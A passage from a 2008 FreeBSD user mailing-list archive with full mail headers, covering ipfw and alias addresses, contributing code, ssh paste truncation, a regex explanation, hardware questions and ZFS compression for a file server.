(envelope-from brett@net24.co.nz) Received: from 210.55.30.56 (EHLO _127.0.0.1_) ([210.55.30.56]) by omr2.mail.isx.net.nz (MOS 3.8.3-GA FastPath queued) with ESMTP id AAR84640 (AUTH brett@net24.co.nz); Mon, 01 Dec 2008 16:52:12 +1300 (NZDT) Message-ID: <49335F6C.3060802@net24.co.nz> Date: Mon, 01 Dec 2008 16:52:12 +1300 From: Brett Davidson Organization: Net24 Limited User-Agent: Thunderbird 2.0.0.18 (Windows/20081105) MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Is there anything weird I should know about using ipfw on alias addresses? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 04:03:20 -0000 ifconfig shows the alias addresses correctly bound. Creating an ipfw rule and testing it from the command line works (connects out from master address, not alias) From website on alias address, the firewall blocks the packets. The weird thing is that it tags them (in the security log) as coming from the master address (not the alias) out the correct interface. In a normal world that would mean the packet would match!!!!! What's goin' on here Willis? From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 05:48:10 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A87121065670 for ; Mon, 1 Dec 2008 05:48:10 +0000 (UTC) (envelope-from manjunathreddy1@gmail.com) Received: from mail-gx0-f19.google.com (mail-gx0-f19.google.com [209.85.217.19]) by mx1.freebsd.org (Postfix) with ESMTP id 5626B8FC1B for ; Mon, 1 Dec 2008 05:48:10 +0000 (UTC) (envelope-from manjunathreddy1@gmail.com) Received: by gxk12 with SMTP id 12so1059333gxk.19 for ; Sun, 30 Nov 2008 21:48:09 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:mime-version:content-type; bh=rKsoHJNyYnwT0SzmiRncettLO+Cy2OnKtE/NGwRXZzg=; b=YWP+T81D+6jM4Fp3jmAqsSzYN1xB8N2dGTnziEbPT7RFZ1cavlqXMv/zXJ/if6FaEb 3n6v3+sY6B0HqOOAUwJOsAfap3Vueqa9hDjxbQucuIiVpzeEzEthu0QtCrmxTmRbFM/z +jsUtsTINWHF4KKaZhJQuIfnaz5OZFzAO3m8Q= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:mime-version:content-type; b=w7nzAy0L7vbnC29ayEWT/XWo/5ClLeAygjpErxV3CvBUiwFj6aEIhMg00fIliQ6yv8 GeglfhCAWJKYfRBsBaBJScPBzYCrKJIgp5T3dowCKG1ZlRtO4Jz4EyqVU/Jtmml2qNJ7 1hEAf8yEfytwqy387YGS54A5su4kBxV6EIuQ8= Received: by 10.65.44.11 with SMTP id w11mr11183579qbj.58.1228108956594; Sun, 30 Nov 2008 21:22:36 -0800 (PST) Received: by 10.65.239.7 with HTTP; Sun, 30 Nov 2008 21:22:36 -0800 (PST) Message-ID: <904021480811302122s7570bb81vb2a399f911cc66bc@mail.gmail.com> Date: Sun, 30 Nov 2008 21:22:36 -0800 From: "manjunath reddy" To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: doubt about contribution X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 05:48:10 -0000 derar sir , I have downloaded freebsd code and I have made some modifications to it. But now feeling difficulty in sending that code to cvs. can u please give me the instructions to upload code to CVS archieve. I am also intrested in knowing the development process of freebsd, can u please give more information about it. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 06:11:35 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B158E106564A for ; Mon, 1 Dec 2008 06:11:35 +0000 (UTC) (envelope-from stupendoussteve@hotmail.com) Received: from bay0-omc1-s35.bay0.hotmail.com (bay0-omc1-s35.bay0.hotmail.com [65.54.246.107]) by mx1.freebsd.org (Postfix) with ESMTP id 962478FC13 for ; Mon, 1 Dec 2008 06:11:35 +0000 (UTC) (envelope-from stupendoussteve@hotmail.com) Received: from hotmail.com ([207.46.10.149]) by bay0-omc1-s35.bay0.hotmail.com with Microsoft SMTPSVC(6.0.3790.3959); Sun, 30 Nov 2008 22:11:35 -0800 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 30 Nov 2008 22:11:35 -0800 Message-ID: Received: from 68.225.143.90 by BAY122-DAV11.phx.gbl with DAV; Mon, 01 Dec 2008 06:11:30 +0000 X-Originating-IP: [68.225.143.90] X-Originating-Email: [stupendoussteve@hotmail.com] X-Sender: stupendoussteve@hotmail.com Message-ID: <4933800E.8030303@hotmail.com> Date: Mon, 01 Dec 2008 00:11:26 -0600 From: Steven Susbauer User-Agent: Thunderbird 2.0.0.18 (X11/20081122) MIME-Version: 1.0 To: manjunath reddy References: <904021480811302122s7570bb81vb2a399f911cc66bc@mail.gmail.com> In-Reply-To: <904021480811302122s7570bb81vb2a399f911cc66bc@mail.gmail.com> X-Enigmail-Version: 0.95.7 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enig45FB11C70F32553B7321BB7E" X-OriginalArrivalTime: 01 Dec 2008 06:11:35.0567 (UTC) FILETIME=[AA0A89F0:01C9537B] Cc: freebsd-questions@freebsd.org Subject: Re: doubt about contribution X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 06:11:35 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enig45FB11C70F32553B7321BB7E Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable manjunath reddy wrote: > derar sir , > I have downloaded freebsd code and I have made some > modifications to it. But now feeling difficulty in sending that code to= cvs. >=20 > can u please give me the instructions to upload code to = CVS > archieve. >=20 > I am also intrested in knowing the development process o= f > freebsd, can u please give more information about it. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd= =2Eorg" >=20 >=20 Only a few people have commit access to the tree, things go through them.= For a general overview of how to contribute read through http://www.freebsd.org/doc/en_US.ISO8859-1/articles/contributing/index.ht= ml --------------enig45FB11C70F32553B7321BB7E Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkkzgBEACgkQ2i3YYzbDt0/0mQCgvT3qrRAdf8lQMLBJUEp5TFQ1 1d0AoLg35bWCjpgx8lEsN0IC64Ere7Tt =+uTE -----END PGP SIGNATURE----- --------------enig45FB11C70F32553B7321BB7E-- From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 06:11:37 2008 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3B2271065673 for ; Mon, 1 Dec 2008 06:11:37 +0000 (UTC) (envelope-from bryant.eadon@gmail.com) Received: from yx-out-2324.google.com (yx-out-2324.google.com [74.125.44.30]) by mx1.freebsd.org (Postfix) with ESMTP id E1E4B8FC16 for ; Mon, 1 Dec 2008 06:11:36 +0000 (UTC) (envelope-from bryant.eadon@gmail.com) Received: by yx-out-2324.google.com with SMTP id 8so889084yxb.13 for ; Sun, 30 Nov 2008 22:11:36 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:reply-to :user-agent:mime-version:to:cc:subject:references:in-reply-to :content-type:content-transfer-encoding; bh=fBqlza5+6rY0b8fUwuCaH6xncM1nkif/MxnBtAR8Rxw=; b=vJQgJ4P3ODedaM/dPrR/Pxe0ufP/NdRPukhlc2MaZInbiH0IzLH2LM+Xti9sTuSzAI Wz+6d4Ocs9xralT34GcEpR5VN+PLk+sYU6/dKZ/DBhby3V4FPZ1fWZ9LQKyqXqBxyU8y vFfNRXbf2Qx7HQgOmyAsdgQWj9iNJXoFzpImU= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:reply-to:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; b=mBHqk38uIcOdY1Bj9K9rdJ9JbSbvZNItGylbPxSz9eGYYKBMhaI2F7MN6kQUM9/ql1 Pf+eA5JYKqhEnEq4cU4dOO9OXcXOSUo2fpjZ97QUEYu7mbd06qv4tLKdWgoDB0CKqehu /lSxF5uibeGopZd8SHbu1KGqlPalvXFBUIt8g= Received: by 10.150.137.12 with SMTP id k12mr21117644ybd.27.1228110221109; Sun, 30 Nov 2008 21:43:41 -0800 (PST) Received: from ?192.168.1.4? (itsf207.itsnpt.com [64.119.85.207]) by mx.google.com with ESMTPS id i27sm7758194elf.14.2008.11.30.21.43.39 (version=TLSv1/SSLv3 cipher=RC4-MD5); Sun, 30 Nov 2008 21:43:40 -0800 (PST) Message-ID: <4933798A.5040907@gmail.com> Date: Mon, 01 Dec 2008 00:43:38 -0500 From: Bryant Eadon User-Agent: Thunderbird 2.0.0.18 (Windows/20081105) MIME-Version: 1.0 To: Harry Veltman References: <001301c951e4$e0b93fc0$f75afb48@harryveltman> In-Reply-To: <001301c951e4$e0b93fc0$f75afb48@harryveltman> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 7bit Cc: questions@FreeBSD.org Subject: Re: Purchase of FreeBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: bryant.eadon@gmail.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 06:11:37 -0000 Harry Veltman wrote: > Where can I buy it on CD, and how do I know if it is compatible with my hardware? > _______________________________________________ Harry, This may be an obvious statement, but this can be downloaded (an ISO image is an exact copy of a CD or DVD -- http://en.wikipedia.org/wiki/ISO_image ). But, if you're on a modem, this download could take a week or more. :-/ Maybe a local library, school or Internet Cafe would have a faster connection and/or CD writer for you to use ? where / how: http://www.freebsd.org/where.html supported Hardware : http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/install-hardware.html Thanks, Bryant From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 06:33:12 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D4C53106564A for ; Mon, 1 Dec 2008 06:33:12 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id A80B28FC14 for ; Mon, 1 Dec 2008 06:33:12 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id 08E0DAFC1C6; Sun, 30 Nov 2008 21:33:11 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org Date: Mon, 1 Dec 2008 06:31:34 +0100 User-Agent: KMail/1.9.7 References: <200811301736.30079.fbsd.questions@rachie.is-a-geek.net> <8392DE41-4800-4CE9-A078-C1921FADDD9A@gmail.com> In-Reply-To: <8392DE41-4800-4CE9-A078-C1921FADDD9A@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Message-Id: <200812010631.35147.fbsd.questions@rachie.is-a-geek.net> Cc: Eugene Pimenov Subject: Re: Pasting via ssh causes data loss X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 06:33:12 -0000 On Sunday 30 November 2008 17:53:21 Eugene Pimenov wrote: > 30.11.2008, =D7 19:36, Mel =CE=C1=D0=C9=D3=C1=CC(=C1): > > On Sunday 30 November 2008 06:46:59 Eugene Pimenov wrote: > > > > Not sure, but can you copy files via cat? As in: > > cat /tmp/foo | ssh machine "cat - >/tmp/foo" > > > > If that isn't truncated, I can only think of clipboard limitations > > or tty > > issues. > > No, it's not truncated. All of 6060 bytes are copied. > > What kind of tty issues/clipboard limitations might it be? *If* it's a tty issue, should be reproducable with telnet. If it's not, the= n I=20 suggest logging in with ssh -v and see if anything weird comes up. The oddball out of the box answer would be that some character gets transla= ted=20 as EOF from linux to bsd by the term settings, but it's a stretch. =2D-=20 Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 06:36:51 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 85BFE106564A for ; Mon, 1 Dec 2008 06:36:51 +0000 (UTC) (envelope-from m.seaman@infracaninophile.co.uk) Received: from smtp.infracaninophile.co.uk (gate6.infracaninophile.co.uk [IPv6:2001:8b0:151:1::1]) by mx1.freebsd.org (Postfix) with ESMTP id 0A57C8FC14 for ; Mon, 1 Dec 2008 06:36:50 +0000 (UTC) (envelope-from m.seaman@infracaninophile.co.uk) Received: from happy-idiot-talk.infracaninophile.co.uk (localhost [IPv6:::1]) (authenticated bits=0) by smtp.infracaninophile.co.uk (8.14.3/8.14.3) with ESMTP id mB16ahMU095361; Mon, 1 Dec 2008 06:36:44 GMT (envelope-from m.seaman@infracaninophile.co.uk) X-DKIM: Sendmail DKIM Filter v2.7.2 smtp.infracaninophile.co.uk mB16ahMU095361 DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=infracaninophile.co.uk; s=200708; t=1228113404; bh=RgCmYsMDtTuZNY fk6MKT6AI8YskeEhUWuJ6YEszO/vw=; h=Message-ID:Date:From:MIME-Version: To:CC:Subject:References:In-Reply-To:Content-Type:Cc:Content-Type: Date:From:In-Reply-To:Message-ID:Mime-Version:References:To; z=Mes sage-ID:=20<493385F4.6010809@infracaninophile.co.uk>|Date:=20Mon,=2 001=20Dec=202008=2006:36:36=20+0000|From:=20Matthew=20Seaman=20|Organization:=20Infracaninophile|User -Agent:=20Thunderbird=202.0.0.18=20(X11/20081125)|MIME-Version:=201 .0|To:=20Drew=20Tomlinson=20|CC:=20FreeBSD =20Questions=20|Subject:=20Re:=20Reg ular=20Expression=20Help|References:=20<4932CA0D.8080109@mykitchent able.net>=20<4932D91F.5040804@infracaninophile.co.uk>=20<4932E8A2.6 030804@mykitchentable.net>|In-Reply-To:=20<4932E8A2.6030804@mykitch entable.net>|X-Enigmail-Version:=200.95.6|Content-Type:=20multipart /signed=3B=20micalg=3Dpgp-sha256=3B=0D=0A=20protocol=3D"application /pgp-signature"=3B=0D=0A=20boundary=3D"------------enigE77D70B09862 C5E486412140"; b=fPhIJdhFweCRld20w+AtMnZb6oIQlyojmiIciz3AhsqbcasfMc JfZJGV7/Sb5tuugIyHGSZMmvz0ZQ3SKTPFyfxuX2JVZ26+0cVDbedsgK5tJ4jM4Mg37 pahgrvn8jVLzXR+r980WDJp9Tx1U9amsTwfM9MXffaBZfRV+ok3KGs= Message-ID: <493385F4.6010809@infracaninophile.co.uk> Date: Mon, 01 Dec 2008 06:36:36 +0000 From: Matthew Seaman Organization: Infracaninophile User-Agent: Thunderbird 2.0.0.18 (X11/20081125) MIME-Version: 1.0 To: Drew Tomlinson References: <4932CA0D.8080109@mykitchentable.net> <4932D91F.5040804@infracaninophile.co.uk> <4932E8A2.6030804@mykitchentable.net> In-Reply-To: <4932E8A2.6030804@mykitchentable.net> X-Enigmail-Version: 0.95.6 Content-Type: multipart/signed; micalg=pgp-sha256; protocol="application/pgp-signature"; boundary="------------enigE77D70B09862C5E486412140" X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.0.1 (smtp.infracaninophile.co.uk [IPv6:::1]); Mon, 01 Dec 2008 06:36:44 +0000 (GMT) X-Virus-Scanned: ClamAV 0.94.2/8698/Sun Nov 30 15:09:19 2008 on happy-idiot-talk.infracaninophile.co.uk X-Virus-Status: Clean X-Spam-Status: No, score=-3.0 required=5.0 tests=AWL,BAYES_00,DKIM_SIGNED, DKIM_VERIFIED,NO_RELAYS autolearn=ham version=3.2.5 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on happy-idiot-talk.infracaninophile.co.uk Cc: FreeBSD Questions Subject: Re: Regular Expression Help X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 06:36:51 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enigE77D70B09862C5E486412140 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Drew Tomlinson wrote: > Matthew Seaman wrote: >> % perl -p -e 's/cn=3D([^ ,]+) ([^,]+),/cn=3D$2 $1,/' < foo.txt=20 > I still don't really understand *why* the above works but I'm trying to= =20 > pick it apart now. The RE breaks down like this: /cn=3D([^ ,]+) ([^,]+),/ cn=3D Match literal text 'cn=3D' ( capture #1 begin [^ ,] Character class: anything that is not space or c= omma + At least one of the above ) end capture #1 Match a literal space ( capture #2 begin [^,] Character class: anything that is not a comma + At least one of the above ) end capture #2 , Match literal comma Cheers, Matthew --=20 Dr Matthew J Seaman MA, D.Phil. 7 Priory Courtyard Flat 3 PGP: http://www.infracaninophile.co.uk/pgpkey Ramsgate Kent, CT11 9PW --------------enigE77D70B09862C5E486412140 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (FreeBSD) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEAREIAAYFAkkzhfsACgkQ8Mjk52CukIxGvwCgkVhmWcapYq6lVOxbuJdhtYDd vHcAn1zUhhXsVkOt9kmDtbJjRXIsDCc3 =L8PS -----END PGP SIGNATURE----- --------------enigE77D70B09862C5E486412140-- From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 06:56:30 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 63D751065672 for ; Mon, 1 Dec 2008 06:56:30 +0000 (UTC) (envelope-from vishnux@toray.com.my) Received: from grp-smtp.toray.com.my (grp-smtp.toray.com.my [202.186.44.7]) by mx1.freebsd.org (Postfix) with ESMTP id 0D5138FC0A for ; Mon, 1 Dec 2008 06:56:30 +0000 (UTC) (envelope-from vishnux@toray.com.my) Received: from localhost (localhost.toray.com.my [127.0.0.1]) by grp-smtp.toray.com.my (Postfix) with ESMTP id C0F365094F for ; Mon, 1 Dec 2008 14:37:57 +0800 (MYT) X-Virus-Scanned: amavisd-new at toray.com.my Received: from grp-smtp.toray.com.my ([127.0.0.1]) by localhost (grp-smtp.toray.com.my [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id jArtEnYnmjXj for ; Mon, 1 Dec 2008 14:37:56 +0800 (MYT) Received: from notes01.toray.com.my (notes01.toray.com.my [10.200.1.1]) by grp-smtp.toray.com.my (Postfix) with ESMTP id 9423C509A0 for ; Mon, 1 Dec 2008 14:36:45 +0800 (MYT) From: vishnux@toray.com.my To: freebsd-questions@freebsd.org Message-ID: Date: Mon, 1 Dec 2008 14:31:04 +0800 X-MIMETrack: Serialize by Router on Notes01/Pen-Group(Release 6.5.1|January 21, 2004) at 12/01/2008 02:36:46 PM MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Subject: Vishnu is out of the office. X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 06:56:30 -0000 I will be out of the office starting 12/01/2008 and will not return until 12/12/2008. Please contact helpdesk directly for urgent matters at 043854184. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 07:29:14 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8A7091065675 for ; Mon, 1 Dec 2008 07:29:14 +0000 (UTC) (envelope-from on@cs.ait.ac.th) Received: from mail.cs.ait.ac.th (mail.cs.ait.ac.th [192.41.170.16]) by mx1.freebsd.org (Postfix) with ESMTP id 176678FC13 for ; Mon, 1 Dec 2008 07:29:12 +0000 (UTC) (envelope-from on@cs.ait.ac.th) Received: from banyan.cs.ait.ac.th (banyan.cs.ait.ac.th [192.41.170.5]) by mail.cs.ait.ac.th (8.13.1/8.13.1) with ESMTP id mB17RsRJ066022 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 1 Dec 2008 14:27:54 +0700 (ICT) (envelope-from on@banyan.cs.ait.ac.th) Received: (from on@localhost) by banyan.cs.ait.ac.th (8.14.2/8.12.11) id mB17T8n2055195; Mon, 1 Dec 2008 14:29:08 +0700 (ICT) Date: Mon, 1 Dec 2008 14:29:08 +0700 (ICT) Message-Id: <200812010729.mB17T8n2055195@banyan.cs.ait.ac.th> From: Olivier Nicole To: freebsd-questions@freebsd.org In-reply-to: <493385F4.6010809@infracaninophile.co.uk> (message from Matthew Seaman on Mon, 01 Dec 2008 06:36:36 +0000) References: <4932CA0D.8080109@mykitchentable.net> <4932D91F.5040804@infracaninophile.co.uk> <4932E8A2.6030804@mykitchentable.net> <493385F4.6010809@infracaninophile.co.uk> X-Virus-Scanned: on CSIM by amavisd-milter (http://www.amavis.org/) Subject: Re: Regular Expression Help X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 07:29:14 -0000 Hi, > I still don't really understand *why* the above works but I'm trying > to pick it apart now. Whenever I have a doubt about regular expression, I use the regexp coach. It works on Windows, but I find it a very intelligent and usefull tool. http://weitz.de/regex-coach/ Best regards, Olivier From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 08:03:56 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 47A5F106567A for ; Mon, 1 Dec 2008 08:03:56 +0000 (UTC) (envelope-from veltman@intergate.com) Received: from mail02.mx.maxen.net (mail02.mx.maxen.net [216.139.86.2]) by mx1.freebsd.org (Postfix) with ESMTP id 1A3A78FC0A for ; Mon, 1 Dec 2008 08:03:55 +0000 (UTC) (envelope-from veltman@intergate.com) Received: from smtp9.trip.net (smtp9.trip.net [216.139.64.9]) by mail02.mx.maxen.net (8.14.2/8.14.2) with ESMTP id mB17p56t005620 for ; Mon, 1 Dec 2008 01:51:05 -0600 (CST) Received: from harryveltman (node0.91.251.72.1dial.com [72.251.91.0]) (authenticated bits=0) by smtp9.trip.net (8.14.1/8.14.1) with ESMTP id mB17okws036053 for ; Mon, 1 Dec 2008 01:50:47 -0600 (CST) Message-ID: <002701c9538a$10ff0330$005bfb48@harryveltman> From: "Harry Veltman" To: Date: Sun, 30 Nov 2008 23:54:38 -0800 MIME-Version: 1.0 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Scanned-By: MIMEDefang 2.56 on 216.139.64.8 X-Virus-Scanned: ClamAV devel-20080904-exp/8698/Sun Nov 30 09:09:19 2008 on mail02.mx.maxen.net X-Virus-Status: Clean Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: Which FreeBSD is best for my PC? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 08:03:56 -0000 Which version and GUI will work best on the internet with my AT Pentium = II 350MHz x86-based PC? Some web sites require Flash Player 8 or = higher, and some require 128-bit encryption I think, but doesn't 40-bit = encryption process data 3 times faster? How many bit encryption is the = various versions of FreeBSD? Thanks. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 09:06:55 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id F10321065672 for ; Mon, 1 Dec 2008 09:06:55 +0000 (UTC) (envelope-from valentin.bud@gmail.com) Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.188]) by mx1.freebsd.org (Postfix) with ESMTP id 7BF1E8FC1D for ; Mon, 1 Dec 2008 09:06:55 +0000 (UTC) (envelope-from valentin.bud@gmail.com) Received: by nf-out-0910.google.com with SMTP id h3so1234402nfh.33 for ; Mon, 01 Dec 2008 01:06:54 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=QGhfn7roDOyoMkaVliznN0D2UxZVFWmZsxGs5J0gbE0=; b=jLpKG6/hCMMKf1UV2wPDFVckRGJtmF6PTTB3yC/pzT5dor5Bb3RoNetj/XpdphzNsE /39D2JLxWXDlbEDaJVVOW746XxkXM7Kq1MRjcklQ+TITAcGHL3Rzt5A03mgCQrPTTGMP 0KgdAu786c7HMUUp1xDQAqHQI1DfC8nTHq2Mc= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references; b=AoOKgUajvxTAg8IyyEMa4Mi0aS552fKsoF91uQktmQj9fB/0RgkVsCHJNBSWjiRFi7 x0pkxsXsCesmLrVQH/XtPeBZ6M6dvDqAEC7Vn5X4UqdCBAcKPeDoVzdLSG2F1vHdoafO W8wB+Fdmi5xfJvX6DbyOVduLcJPeopTmqxczc= Received: by 10.210.66.1 with SMTP id o1mr12270373eba.193.1228122414192; Mon, 01 Dec 2008 01:06:54 -0800 (PST) Received: by 10.210.117.7 with HTTP; Mon, 1 Dec 2008 01:06:54 -0800 (PST) Message-ID: <139b44430812010106n78ba2e05r5cbffd36adde8311@mail.gmail.com> Date: Mon, 1 Dec 2008 11:06:54 +0200 From: "Valentin Bud" To: "Wojciech Puchar" In-Reply-To: <20081201013409.Y4805@wojtek.tensor.gdynia.pl> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <20081128194531.7B17FB7C5@kev.msw.wpafb.af.mil> <20081128212753.D6715@wojtek.tensor.gdynia.pl> <20081128215528.35F4BB7C5@kev.msw.wpafb.af.mil> <139b44430811300753o780763c8xf9b4821a837443a1@mail.gmail.com> <20081201013409.Y4805@wojtek.tensor.gdynia.pl> Cc: vogelke+software@pobox.com, freebsd-questions@freebsd.org Subject: Re: 5 TB server X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 09:06:56 -0000 On Mon, Dec 1, 2008 at 2:34 AM, Wojciech Puchar wrote: >> This is one of the main reasons i want to go with ZFS. Another would be >> the >> filesystem level compression of the data. I have noticed that 3dmax >> files (one of >> the programs the company works with) are very "compressable" (from 50 >> Mb to ~ 7Mb). > > will it be majority of data??? About 40% of it. 50% adobe *.psd and the other 10% all sort of data. a great day, v > From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 09:07:54 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A047C1065672 for ; Mon, 1 Dec 2008 09:07:54 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl 